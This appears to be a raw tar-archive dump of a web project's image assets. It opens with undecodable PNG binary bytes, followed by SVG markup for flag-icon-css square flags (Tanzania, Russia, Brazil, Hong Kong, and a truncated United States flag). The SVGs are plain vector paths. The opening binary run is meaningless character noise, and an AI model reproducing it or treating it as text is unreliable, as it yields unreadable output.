�,�$ HH�#��i�×/0'�a��c��#��f�i��FD����@a�����1�`�82�8�W��Bw��W�IJ�ju�����/�[|�پ��7�}�{�k�l��jx���

@E�~�ŧ����/�#bӴ��@����jyt�X,bı�) p��)3�mlۦ�+$L��Q�36�6��)��	�h��`C��{� �kY'5ϧ�쟗����j�?x��˗��[[��b6�noo��b)�6S�*�����'/_�z��v�N:(�Q��>I��ً�����6z�>e�E�8����ƛ3+Q03f�!DfC�糭�|��S�L��O�."�!�
�h��MT��H��]�K���@��a3�C�%B��vf��a��机nqt����'�_����|��{_��ol߼5�o�mK%�}b����>�z���޼q3�=y����^={I���)  7����nbM�(xw�yb�*��N��ZuZZu�+���������@��p!>WO���)�*�������{��o޺����Z��Z�V�¹mh�`���/�=~�����}�m���s�SJ�j�?��㇏m��0��~�ŋg)u)�) ���FBq���ݚ���q"�b��f�;;��{Ϟ�����%��	�]�	�q�T��X�1"V�doM�L4J��j���??3!��HUrN�j�8����������m߾���ڽso��SOZ��Q�(�Z�6����������o2�v)�>�����d�1�өd���[.���@AՐh �+�'1��|>��"�\�6�� s�t�YY�D����5g!����D�ז��t��R������_v]�����n�~��Q�������yq|��ɓ�ϟ��s��u0�Uʽ������?�ɣG��ɼ�n�M�ŗ������aJI�<�MUq�TDf���s3u���Yq!R����h�w�ݸ~�œ��S$F�7����ۘ܋��c00!3E&f
L���a��!�8v�>1��REr�n�<:z������_�wo����޼��|�Z3�Ŧ�0���4��������G��>����G�hg{�5�㣃'�|�&��\��t6#���Ҫ�>��������������UJi�ܺ\����%�*����
6�a�@��T`[�D5^.��������zD$"�q�f�rxt$����:>�����g���f��{o�^�"K���LU����g?��_��նm3�VU"����7�����IY��[���f�[�e��n���MW��b ����o�u���/�飯�9"Qp�OLL�h���fb$&��8�B@
L10�@́93Q��@�=5���]�?TU4�ԯ��boo��x��;��>����l]�>�oUM�1 2t�n����W����{��M'���?>i'��E�`������Uu�)Ī�4����i�*L������M�M��lo��rq`��k��5�"Pg��r|�Ay�����~�(_�4�	�*f��}/��G�^�/�K�!c��^�x�\.NjE�\�IT�vz�歛���&Ӏ*9%���L�w�O?������h�bU5u݆Cu�<{���[���d�\y�,u�6���T����ڏ�2�f�MDb1&;�n���;�	��U9p`��801Q@$������e�b��G�L\�x�R�踠]vk��TEr�]�����峗���a��;_����۾~s�5��6V�Q�OF�7����~�����dkVW�j�z�ŗ���l�4�������?}��?��9r�*7ƞ��H�PS�0�GD�m��b�rrs�l��م�FƉ@�qʶ�H�G���)��qwxxt|��9
�xs��{TU�N�v6i���t��51�XJ�z0cBSy���O>���(��L��jbUq�CL��]�i���c���пZ[O�al�VrR��\��ͯ���ޓNjヶ#���Q`dƪ1�uU��7L�p����(��>y�ղ3/J�Z�88��
�����q�;�o���# m$$�<!H������f2
��Bd���|����y]�fد���W�^���c���p\�q\ȩ�u�u�loo�����z&�&�~SC�Ln�V�B�
vV=��`��W���b�Zv]��E��v��ig�Ϫ	U��t9��BD�j�������(�q@���C��8����h2���^�42y�ؚ�F��4Ӑ�Qx.Ј��a
���1Ě�[[;������{Ϛ:�X��U�QUE�9��b�"�����`!��B��R��9�$]�LJ�G���u��oܹ������|:��mñ&�@85�v�u�P�����A�Θ*#&$2�gO�=��K�~kkҶm6\,���W�{������F
����̉h�h��x{{;�|�8.z�jq�˝ӗ�6����ml���C0h٢���I1d��*-�n�}�'<����o�f��"BŬ9��IN)0��量?B��dVՓ�1p��\��8!�ޝ{o�,L��
�6�0��Xw��<����!�@!B�f6��ۿ�������:��-6��uUU���bX�s �������084Ѕ
���d͒���J��j�:h�h���w?�{�|���|{>����
�����b꠩��~�::�X�?�!Y�sN�=|��Ӵ�5�Nj��8>~�j���hy�jy�o�U3!���+m���y>��}�\�	Na��^�l��"�|ѻq�����
�kka��2�]�(�Z�,�e�}J�Z�q�n�'33a�Ȅ*��JrfDb>>>���>�R$O&Ӧ��u[7MU�UU��8mSpl�D����ݺs7�=�����swgG��x�����5A�'	\
p2y��ib���a�KQ�����9�UUU�F����U�{4b��Vv2�a�L�$K�5���G��	�o�~�k7��߹v}>ߞN��dBm��7\u�iu��+3�)�"a�!���|�Y�i{gk6������W��������R5�C�v��������(���@���(��G��0��޺�aH�!�*Tͪ�W]��<D��&�Ӑ,f�`*��,"h�Z��R�j����O�x�Oi2�L'Ӷ�6M[�m]Uu]WU�H�G3��o,�pxp���;�L$g��Gs�/�̏w?�Z����埰�"���׾�skw��3��uUŪ�u�:�uU7U]�X�i��Q�!��E��0c�d�TEs��U�>�E�c�ٵ��}��[�׷��g�I;�p[c�5���
�긍a���v6��I9{S{(C)�/~��g�甮���gSQ[/����Nj���q��Ø4q�Չ�i�W�^yj�y�z�o�z�q������l�����Y4V��4��j�L��]�7n�MYU�!X꺼Z`��/|�٧��V��d�N��4��m����&41T��1.e�'��H�zpxx��ۈP�9����y�X04����	@ŵ�=7�<p�Bp�qd�v���w�?:�O��IS�몊u�4M]WMS�u]��q��1@��\̵�BRU��"&)%9�����o����w��_�mo���d�#�!�+����"�ηf��vv�Og3��9q���
��aQRz���}�I����l�%����W����x�<��s��&��GU�����G"%���X���kl�+*�S��M��08���΍W�m�H�]�P\"oN��NG��j�`�L�[�ne&1���ѣ/>��ユmf�m�ɤmۦ�+U�ܳ���ƈ&C''� ��r�o޼�$�`�3#B�B�yjb���ԏ�ɸ�����B�wv��7�`��y9�m�u]�:��HsUוk�u	>���S2�����n)vLm?�6�y��[�ݼu{��3ߞO��v�R!2��8k?�	6M}`�u�L&���lkk��]�-��&^�fb%�_~���}�smww>��������~��W��ý�/��	��/д�M����4M���JJ�� P�!ٶ�y�'\h\�l��4).�3u�IEND�B`�images/flags/1x1/tz.svg000066600000001132151150443020010670 0ustar00<svg xmlns="http://www.w3.org/2000/svg" id="flag-icon-css-tz" viewBox="0 0 512 512">
  <defs>
    <clipPath id="a">
      <path fill-opacity=".7" d="M102.9 0h496v496H103z"/>
    </clipPath>
  </defs>
  <g clip-path="url(#a)" transform="translate(-106.2) scale(1.0321)">
    <g fill-rule="evenodd" stroke-width="1pt">
      <path fill="#09f" d="M0 0h744.1v496H0z"/>
      <path fill="#090" d="M0 0h744.1L0 496V0z"/>
      <path d="M0 496h165.4L744 103.4V0H578.7L0 392.7v103.4z"/>
      <path fill="#ff0" d="M0 378L567 0h56L0 415.3v-37.2zm121.1 118l623-415.3V118L177 496h-55.9z"/>
    </g>
  </g>
</svg>
images/flags/1x1/ru.svg000066600000000442151150443020010664 0ustar00<svg xmlns="http://www.w3.org/2000/svg" id="flag-icon-css-ru" viewBox="0 0 512 512">
  <g fill-rule="evenodd" stroke-width="1pt">
    <path fill="#fff" d="M0 0h512v512H0z"/>
    <path fill="#0039a6" d="M0 170.7h512V512H0z"/>
    <path fill="#d52b1e" d="M0 341.3h512V512H0z"/>
  </g>
</svg>
images/flags/1x1/br.svg000066600000017210151150443020010642 0ustar00<svg xmlns="http://www.w3.org/2000/svg" id="flag-icon-css-br" viewBox="0 0 512 512">
  <g stroke-width="1pt">
    <path fill="#229e45" fill-rule="evenodd" d="M0 0h512v512H0z"/>
    <path fill="#f8e509" fill-rule="evenodd" d="M261.4 405.4l229.8-149.2L260 106.6l-230.7 150 232 148.8z"/>
    <path fill="#2b49a3" fill-rule="evenodd" d="M361.5 256a97.2 97.2 0 1 1-194.3-.2 97.2 97.2 0 0 1 194.3.2z"/>
    <path fill="#ffffef" fill-rule="evenodd" d="M232.3 314.2l-3-1.8-3.1 1.6.7-3.5-2.4-2.5 3.4-.4 1.6-3.2 1.5 3.3 3.4.6-2.6 2.4m65.7 20l-3-1.8-3.2 1.6.7-3.5-2.4-2.5 3.5-.4 1.6-3.2 1.4 3.3 3.4.6-2.5 2.4m-27.6-22.9l-2.6-1.5-2.7 1.3.6-3-2-2.2 2.9-.3 1.4-2.7 1.2 2.8 3 .5-2.2 2m66.2-6.4l-2.6-1.5-2.6 1.3.6-2.9-2-2.1 2.9-.4 1.3-2.6 1.3 2.7 2.9.5-2.2 2m-66.6-16.7l-3-1.8-3.1 1.6.7-3.5-2.4-2.5 3.4-.4 1.6-3.1 1.5 3.2 3.4.6-2.6 2.4M188 245l-3-1.8-3 1.6.6-3.5-2.4-2.5 3.5-.4 1.6-3.2 1.4 3.3 3.4.6-2.5 2.4m10.1 43.5l-3-1.7-3.1 1.5.7-3.4-2.4-2.6 3.4-.4 1.6-3 1.5 3.1 3.4.7-2.6 2.3m100.6-51.3l-2.6-1.5-2.8 1.3.6-3-2-2.3 3-.3 1.4-2.8 1.3 2.9 3 .5-2.3 2.1m-5 29.2L290 255l-2.1 1 .4-2.4-1.6-1.7 2.4-.3 1.1-2.2 1 2.3 2.4.4-1.8 1.6m-108.4 38.5l-2-1.2-2.1 1 .4-2.3-1.6-1.7 2.4-.2 1-2 1 2 2.3.5-1.7 1.6m152.6 11.5l-1.7-.8-1.7.7.4-1.7-1.3-1.3 1.9-.2.9-1.5.7 1.6 1.9.3-1.4 1.2"/>
    <path fill="#ffffef" fill-rule="evenodd" d="M183.5 292.3l-2-1.2-2.1 1 .5-2.3-1.7-1.7 2.3-.2 1.1-2 1 2 2.3.5-1.7 1.6"/>
    <path fill="#ffffef" fill-rule="evenodd" d="M183.5 292.3l-2-1.2-2.1 1 .5-2.3-1.7-1.7 2.3-.2 1.1-2 1 2 2.3.5-1.7 1.6m32.2 2.3l-2-1.2-2 1 .4-2.3-1.6-1.7 2.3-.2 1-2.1 1 2.1 2.3.5-1.7 1.6m-3.7 13l-2-1.2-2 1 .4-2.3-1.6-1.7 2.3-.3 1-2 1 2 2.3.5-1.7 1.6m66.7-17l-2-1.2-2.1 1 .4-2.3-1.6-1.7 2.3-.2 1.1-2.1 1 2.1 2.2.4-1.7 1.6m-19.1 2.4l-2-1.2-2.1 1 .5-2.3-1.6-1.7 2.3-.2 1-2.1 1 2.1 2.3.4-1.7 1.6m-52.5-4.4l-1.2-.7-1.3.6.2-1.5-1-1 1.5-.2.7-1.3.5 1.4 1.5.2-1 1M333.2 310l-2-1.1-2.1 1 .5-2.3-1.6-1.7 2.3-.3 1-2 1 2 2.3.5-1.7 1.6m-16 4.4l-1.6-1-1.7 1 .4-2-1.4-1.4 2-.2.8-1.7.8 1.7 2 .4-1.5 1.3m8 1.8l-1.6-1-1.6.9.3-1.8-1.2-1.3 1.8-.2.8-1.6.7 1.6 1.8.3-1.3 1.3m22.2-17.4l-1.5-.9-1.6.8.4-1.7-1.2-1.3 1.7-.2.8-1.5.7 1.6 1.7.3-1.3 1.2M317 322.9l-2-1.1-2 1 .5-2.2-1.6-1.5 2.2-.3 1.1-1.9 1 2 2.1.4-1.6 1.4m.4 10.9l-1.8-1-1.8.9.4-2.2-1.4-1.5 2-.3 1-1.9.8 2 2 .4-1.5 1.4M302.3 312l-1.5-.9-1.6.8.4-1.8-1.2-1.2 1.7-.2.8-1.6.7 1.6 1.7.3-1.3 1.2m-13.5 1.8l-1.5-.9-1.6.8.4-1.8-1.2-1.2 1.7-.2.8-1.6.7 1.6 1.7.3-1.2 1.2M265 291.4l-1.5-.9-1.6.8.4-1.7-1.2-1.3 1.7-.2.8-1.5.7 1.6 1.7.3-1.3 1.1m2.9 43.5l-1.3-.7-1.3.7.3-1.5-1-1 1.4-.3.7-1.3.6 1.4 1.5.2-1.1 1m-35.2-66l-3-1.7-3.1 1.5.7-3.4-2.4-2.6 3.4-.4 1.6-3.1 1.5 3.2 3.4.6-2.6 2.4"/>
    <path fill="#fff" fill-rule="evenodd" d="M355.1 291a95 95 0 0 0 4.4-15.1c-51.6-45.4-109.2-68.7-182-63.9a95 95 0 0 0-6.4 15.9 233 233 0 0 1 184 63z"/>
    <path fill="#309e3a" d="M331.9 265.4l1.8 1a2.6 2.6 0 0 0-.2 1.8c.1.4.5.9 1 1.2.6.4 1.1.6 1.6.6.4 0 .8-.3 1-.6.1-.2.2-.4.1-.7l-.3-.8-1.2-1.3a5.9 5.9 0 0 1-1.4-2.3 2.8 2.8 0 0 1 1.6-3.3 2.9 2.9 0 0 1 1.7-.2 5.3 5.3 0 0 1 2 .9 6 6 0 0 1 2 2.4 3 3 0 0 1-.5 2.6l-1.8-1.1c.2-.5.3-1 .2-1.4-.1-.3-.5-.7-1-1-.5-.4-1-.5-1.4-.5a.8.8 0 0 0-.6.3.8.8 0 0 0-.1.7c0 .4.5 1 1.2 1.7l1.5 2a3 3 0 0 1-.2 3.2 3.1 3.1 0 0 1-1.4 1.1 3 3 0 0 1-1.9.2 6 6 0 0 1-2.1-1 4.6 4.6 0 0 1-2-2.5c-.3-.9-.2-1.9.4-3zm-8.8-5.7l2 1a2.6 2.6 0 0 0-.2 1.6c.1.5.5 1 1 1.3.6.4 1.1.5 1.6.4.4 0 .8-.2 1-.6a1 1 0 0 0 .1-.6c0-.3-.1-.5-.4-.8l-1.2-1.3a6 6 0 0 1-1.5-2.2 2.8 2.8 0 0 1 .3-2.4 2.8 2.8 0 0 1 1.2-1 3 3 0 0 1 1.7-.2c.6 0 1.2.3 2 .8 1 .7 1.8 1.4 2 2.3a3 3 0 0 1-.3 2.6l-1.9-1.1c.3-.5.3-1 .2-1.3-.2-.4-.5-.7-1-1a2.4 2.4 0 0 0-1.5-.5.8.8 0 0 0-.6.4.8.8 0 0 0 0 .7c0 .3.5.9 1.2 1.7.8.7 1.3 1.4 1.6 1.8a3 3 0 0 1-.1 3.3 3.2 3.2 0 0 1-3.2 1.4 6.1 6.1 0 0 1-2.2-.9 4.7 4.7 0 0 1-2.1-2.4 4.1 4.1 0 0 1 .3-3zm-10.8-3l5.6-9 6.7 4-1 1.6-4.8-3-1.3 2 4.6 2.8-1 1.6-4.5-2.8-1.5 2.5 5 3-.9 1.6-6.9-4.2zm-15.8-12.9l.9-1.6 4 2.2-1.9 3.7a7.2 7.2 0 0 1-4.8-.6 5.8 5.8 0 0 1-2.2-2 4.5 4.5 0 0 1-.8-2.6c0-1 .3-1.9.8-2.8a6.1 6.1 0 0 1 2-2.3c.7-.6 1.7-.9 2.7-.9.7 0 1.6.3 2.5.7a5 5 0 0 1 2.3 2.2c.4.8.5 1.7.3 2.7l-2.1-.6a2.2 2.2 0 0 0-.2-1.5 2.5 2.5 0 0 0-1.2-1.1 2.9 2.9 0 0 0-2.4-.3c-.7.3-1.4 1-2 2a4.8 4.8 0 0 0-.5 3c.2.8.7 1.4 1.6 1.8l1.3.4h1.3l.6-1.2-2.2-1.2zm-68.8-17l1.6-10.6 3.2.5.8 7.5 3-7 3.1.5-1.5 10.6-2-.3 1.2-8.3-3.3 8-2-.3-.9-8.7-1.2 8.4-2-.3zm-10.7-1.3l1-10.6 7.8.7-.1 1.8-5.8-.5-.2 2.3 5.3.5-.1 1.8-5.3-.5-.3 3 5.9.5-.2 1.8-8-.8z"/>
    <g stroke-opacity=".5">
      <path fill="#309e3a" d="M181.4 218.8c0-1 .2-2 .5-2.7l1-1.4 1.5-1a5.8 5.8 0 0 1 2.3-.3 5 5 0 0 1 3.7 1.6c1 1 1.3 2.3 1.3 4 0 1.8-.6 3.1-1.5 4a5 5 0 0 1-3.8 1.4 5 5 0 0 1-3.7-1.5 5 5 0 0 1-1.3-4z"/>
      <path fill="#f7ffff" d="M183.6 218.8c0 1.2.2 2.2.8 2.8.5.7 1.2 1 2 1a3 3 0 0 0 2.2-.9c.5-.6.8-1.5.9-2.7 0-1.3-.2-2.2-.8-2.8a2.7 2.7 0 0 0-2-1c-1 0-1.7.3-2.2.9-.6.6-.9 1.5-1 2.7z"/>
    </g>
    <g stroke-opacity=".5">
      <path fill="#309e3a" d="M194 224.4l.1-10.7h4.5c1.2 0 2 .2 2.5.4s1 .5 1.2 1 .5 1 .5 1.7c0 .8-.3 1.4-.7 2-.5.5-1.2.8-2.2 1 .5.2.9.5 1.2.8l1.2 1.8 1.3 2H201l-1.5-2.3a16 16 0 0 0-1.2-1.6 1.6 1.6 0 0 0-.6-.4 3.5 3.5 0 0 0-1-.2h-.5v4.5H194z"/>
      <path fill="#fff" d="M196.2 218.2h1.6a8.1 8.1 0 0 0 2 0l.5-.5c.2-.2.3-.5.3-.8 0-.4-.1-.7-.3-.9a1.3 1.3 0 0 0-.8-.4h-3.2v2.6z"/>
    </g>
    <g stroke-opacity=".5">
      <path fill="#309e3a" d="M206.2 214.2l3.9.2a7.6 7.6 0 0 1 2 .3 4 4 0 0 1 1.5 1 5 5 0 0 1 1 1.9c.2.7.2 1.5.2 2.5a5.3 5.3 0 0 1-1.7 4.1c-.4.3-.9.6-1.5.8h-2l-4-.1.6-10.7z"/>
      <path fill="#fff" d="M208.2 216.1l-.3 7 1.6.2h1.3l.9-.5c.3-.2.4-.5.6-1l.3-2-.1-1.8c-.2-.5-.3-.8-.6-1a2 2 0 0 0-1-.6 9.6 9.6 0 0 0-1.7-.2h-1z"/>
    </g>
    <g stroke-opacity=".5">
      <path fill="#309e3a" d="M258.5 233.3l2.5-10.4 3.3.8c1.3.3 2.1.6 2.5.8.5.3 1 .7 1.2 1.3.3.7.3 1.4.1 2.2a3 3 0 0 1-1.9 2.3 3 3 0 0 1-1.1.3 12 12 0 0 1-2.2-.4l-1.4-.3-1 3.9-2-.5z"/>
      <path fill="#fff" d="M262.6 225.2l-.7 3 1.2.2c.8.2 1.4.3 1.7.2a1.4 1.4 0 0 0 1.2-1l-.1-1.1a1.5 1.5 0 0 0-.8-.7l-1.5-.4-1-.2z"/>
    </g>
    <g stroke-opacity=".5">
      <path fill="#309e3a" d="M268.4 236.3l3.5-10.1 4.3 1.5a8 8 0 0 1 2.2 1c.4.4.7.9.9 1.5s0 1.1-.2 1.7c-.2.8-.7 1.3-1.3 1.6a3 3 0 0 1-2.3.3l.8 1.2.6 2 .5 2.4-2.4-.8-.7-2.7a14.5 14.5 0 0 0-.6-1.9 1.6 1.6 0 0 0-.4-.6 3.4 3.4 0 0 0-1-.5l-.4-.1-1.5 4.2-2-.7z"/>
      <path fill="#fff" d="M272.4 231.2l1.5.5 1.9.5c.3 0 .5 0 .7-.2l.5-.7v-1a1.3 1.3 0 0 0-.6-.6l-1.5-.5-1.6-.6-.9 2.6z"/>
    </g>
    <g stroke-opacity=".5">
      <path fill="#309e3a" d="M280.9 235.9a6.8 6.8 0 0 1 1.3-2.5c.3-.5.8-.8 1.3-1.1a4.2 4.2 0 0 1 1.6-.5c.7 0 1.5 0 2.3.3a5 5 0 0 1 3.2 2.5c.6 1.2.7 2.7.1 4.3a5.6 5.6 0 0 1-2.5 3.5 5 5 0 0 1-4 .2 5 5 0 0 1-3.2-2.5 5.5 5.5 0 0 1-.1-4.2z"/>
      <path fill="#fff" d="M283 236.5c-.3 1.1-.3 2 0 2.8.4.8 1 1.3 1.8 1.6.8.2 1.5.1 2.2-.3.7-.4 1.3-1.2 1.7-2.4.3-1.2.3-2.1 0-2.9a2.7 2.7 0 0 0-1.8-1.5 2.7 2.7 0 0 0-2.3.3c-.7.4-1.2 1.2-1.6 2.4z"/>
    </g>
    <g stroke-opacity=".5">
      <path fill="#309e3a" d="M301.7 250.8l4.9-9.5 4 2c1 .6 1.7 1 2 1.4.4.5.6 1 .7 1.5s0 1.2-.4 1.7c-.3.7-.8 1.2-1.5 1.5-.7.2-1.4.2-2.3-.1.3.4.5.9.6 1.3l.3 2.1.2 2.5-2.3-1.2-.3-2.8-.3-2a1.6 1.6 0 0 0-.4-.6 3.5 3.5 0 0 0-.9-.6l-.4-.2-2 4-1.9-1z"/>
      <path fill="#fff" d="M306.4 246.3l1.4.7 1.8.8c.3 0 .5 0 .7-.2a1.5 1.5 0 0 0 .8-1.5 1.3 1.3 0 0 0-.6-.7 21 21 0 0 0-1.3-.8l-1.5-.7-1.3 2.4z"/>
    </g>
    <g stroke-opacity=".5">
      <path fill="#309e3a" d="M341.2 270.3c.6-1 1.2-1.6 2-2a5 5 0 0 1 1.6-.7 4.2 4.2 0 0 1 1.6 0c.7.1 1.5.4 2.2 1a5 5 0 0 1 2.3 3.3 6 6 0 0 1-1.1 4.1 5.6 5.6 0 0 1-3.5 2.6 5 5 0 0 1-3.9-.9 5 5 0 0 1-2.3-3.3 5.5 5.5 0 0 1 1-4.1z"/>
      <path fill="#fff" d="M343 271.4c-.6 1-.9 2-.8 2.8a3 3 0 0 0 1.3 2 2.7 2.7 0 0 0 2.2.4c.8-.2 1.6-.8 2.3-1.9.7-1 1-1.9.8-2.7 0-.8-.5-1.4-1.2-2s-1.5-.6-2.3-.4c-.8.2-1.5.8-2.2 1.8z"/>
    </g>
    <path fill="#309e3a" d="M246.4 229l1.7-7.6 5.6 1.3-.3 1.3-4-1-.4 1.7 3.7.9-.3 1.3-3.7-1-.5 2.1 4.2 1-.3 1.3-5.7-1.3z"/>
  </g>
</svg>
images/flags/1x1/hk.svg000066600000006742151150443020010651 0ustar00<svg xmlns="http://www.w3.org/2000/svg" id="flag-icon-css-hk" viewBox="0 0 512 512">
  <defs>
    <clipPath id="a">
      <path fill-opacity=".7" d="M164.8 0H909v744H165z"/>
    </clipPath>
  </defs>
  <g clip-path="url(#a)" transform="matrix(.7 0 0 .7 -113.4 0)">
    <path fill="#ba0000" fill-rule="evenodd" d="M1063 744.1H0V0h1063z"/>
    <path fill="#fff" fill-rule="evenodd" d="M516.4 360.1s-75-32.3-64.3-116c10.4-40.3 28.8-67.7 62.2-82.6a223 223 0 0 1 48-8.4c-4.4 4-8 8.1-9.8 13.2-3.6 9.2-1 18 3.8 26.8a78 78 0 0 1 10.8 34.4 53.2 53.2 0 0 1-21.2 49c-9.6 7.3-21 9.9-30.2 18.3a41.1 41.1 0 0 0-13.2 26.4c-.3 23.4 6.1 26.7 13.9 39z"/>
    <path fill="#ba0000" fill-rule="evenodd" stroke="#000" stroke-width="3.1" d="M502.1 239v-.3"/>
    <path fill="none" stroke="#ba0000" stroke-width="3.1" d="M506.9 351.4c-29.2-25.8-26.7-90.7-4.4-112.4"/>
    <path fill="#ba0000" fill-rule="evenodd" d="M501.9 223l9.6-2.1 1.1-9.4 4.8 8 9.6-2.1-6.6 7.1 4.8 8-9-3.6-6.6 7.1 1.2-9.3"/>
    <path fill="#fff" fill-rule="evenodd" d="M522.8 354.6s8.9-81.2 92-95.4c41.6-1.9 73.2 7.7 97.3 35.2a223.4 223.4 0 0 1 22 43.4c-5.1-3-10-5.2-15.5-5.5-9.8-.7-17.4 4.4-24.4 11.5-8 8.8-17 15.3-29.8 20.4a53.3 53.3 0 0 1-53-5.9c-9.9-7-15.6-17.1-26.4-23.5a41 41 0 0 0-29.1-4.9c-22.5 6.7-23.7 13.7-33.2 24.7z"/>
    <path fill="#ba0000" fill-rule="evenodd" stroke="#000" stroke-width="3.1" d="M634.4 305.5l.3-.1"/>
    <path fill="none" stroke="#ba0000" stroke-width="3.1" d="M528.3 343c16.1-35.5 79-52 106.2-37.2"/>
    <path fill="#ba0000" fill-rule="evenodd" d="M649.6 300.6l4.8 8.6 9.3-1.7-6.2 7 4.9 8.5-8.8-4.3-6.3 7 .9-9.6-8.8-4.3 9.3-1.6"/>
    <path fill="#fff" fill-rule="evenodd" d="M528.4 360.5s79.8-17.4 119.7 57c15 38.8 16 71.8-2.5 103.4-10 13-21.7 24-34.2 34.6 1.2-5.8 1.7-11.2.3-16.4-2.4-9.5-9.7-15.1-18.7-19.5a77.2 77.2 0 0 1-28.7-21.7 53.3 53.3 0 0 1-11.3-52.2c3.5-11.6 11.3-20.3 13.9-32.5a41 41 0 0 0-4.6-29.2c-13.4-19.1-20.5-18-34-23.5z"/>
    <path fill="#ba0000" fill-rule="evenodd" stroke="#000" stroke-width="3.1" d="M610.4 450.7l.2.3"/>
    <path fill="none" stroke="#ba0000" stroke-width="3.1" d="M541.1 362c38.8 4 74.5 58.4 69 88.9"/>
    <path fill="#ba0000" fill-rule="evenodd" d="M619.8 463.6l-6.5 7.3 4.5 8.3-8.6-3.8-6.5 7.4 1.3-9.7-8.6-3.7 9.3-2.2 1.3-9.7 4.5 8.3"/>
    <path fill="#fff" fill-rule="evenodd" d="M526.6 368.7s39 71.7-21.1 131c-33.1 25.2-64.5 35.4-100 26.5-15.3-5.8-29.1-14-42.8-23 5.8-.5 11.2-1.5 15.8-4.4 8.4-5 11.8-13.5 13.5-23.4a77.2 77.2 0 0 1 12.7-33.7 53.2 53.2 0 0 1 47-25.4c12 .1 22.6 5.1 35 4.2a41 41 0 0 0 26.8-12.6c14.6-18.3 11.6-24.8 13-39.2z"/>
    <path fill="#ba0000" fill-rule="evenodd" stroke="#000" stroke-width="3.1" d="M463 472.7l-.2.3"/>
    <path fill="none" stroke="#ba0000" stroke-width="3.1" d="M528.7 381.4c7 38.3-35.1 87.8-66 91.1"/>
    <path fill="#ba0000" fill-rule="evenodd" d="M453.3 485.4l-8.9-4.2-6.7 6.7 1.2-9.3-8.9-4.2 9.7-1.5 1.1-9.3 4.8 8.4 9.6-1.5-6.7 6.6"/>
    <path fill="#fff" fill-rule="evenodd" d="M517.7 367.1s-54.7 60.7-130.5 23.6c-34.8-22.8-54.9-49-58.3-85.4.4-16.3 3.6-32.1 7.5-48 2.5 5.3 5.1 10 9.4 13.4 7.5 6.3 16.7 6.7 26.5 5a77.2 77.2 0 0 1 36 .8 53.3 53.3 0 0 1 39.6 35.8c4 11.5 2.7 23 7.7 34.5a41 41 0 0 0 20.8 21c22 7.7 27.2 2.8 41.3-.7z"/>
    <path fill="#ba0000" fill-rule="evenodd" stroke="#000" stroke-width="3.1" d="M398.4 341.7h-.3"/>
    <path fill="none" stroke="#ba0000" stroke-width="3.1" d="M506.4 373.4c-33.8 19.3-94.5-4-107.8-32"/>
    <path fill="#ba0000" fill-rule="evenodd" d="M383.2 336.8l1-9.8-8.4-4 9.1-2 1-9.8 4.7 8.6 9-2-6.2 7.3 4.6 8.6-8.5-4.1"/>
  </g>
</svg>
images/flags/1x1/us.svg000066600000007521151150443020010672 0ustar00<svg xmlns="http://www.w3.org/2000/svg" id="flag-icon-css-us" viewBox="0 0 512 512">
  <g fill-rule="evenodd">
    <g stroke-width="1pt">
      <path fill="#bd3d44" d="M0 0h247v10H0zm0 20h247v10H0zm0 20h247v10H0zm0 20h247v10H0zm0 20h247v10H0zm0 20h247v10H0zm0 20h247v10H0z" transform="scale(3.9385)"/>
      <path fill="#fff" d="M0 10h247v10H0zm0 20h247v10H0zm0 20h247v10H0zm0 20h247v10H0zm0 20h247v10H0zm0 20h247v10H0z" transform="scale(3.9385)"/>
    </g>
    <path fill="#192f5d" d="M0 0h98.8v70H0z" transform="scale(3.9385)"/>
    <path fill="#fff" d="M8.2 3l1 2.8H12L9.7 7.5l.9 2.7-2.4-1.7L6 10.2l.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8H45l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.4 0l1 2.8h2.8l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.4 1.7 1 2.7L74 8.5l-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8h2.9L92 7.5l1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm-74.1 7l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.4 0l1 2.8h2.8l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7H65zm16.4 0l1 2.8H86l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm-74 7l.8 2.8h3l-2.4 1.7.9 2.7-2.4-1.7L6 24.2l.9-2.7-2.4-1.7h3zm16.4 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8H45l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.4 0l1 2.8h2.8l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8h2.9L92 21.5l1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm-74.1 7l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7h2.9zm16.4 0l1 2.8h2.8l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm16.5 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8h2.9l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 1-2.7-2.4-1.7H65zm16.4 0l1 2.8H86l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h3zm-74 7l.8 2.8h3l-2.4 1.7.9 2.7-2.4-1.7L6 38.2l.9-2.7-2.4-1.7h3zm16.4 0l.9 2.8h2.9l-2.3 1.7.9 2.7-2.4-1.7-2.3 1.7.9-2.7-2.4-1.7h2.9zm16.5 0l.9 2.8H45l-2.4 1.7 1 2.7-2.4-1.7-2.4 1.7 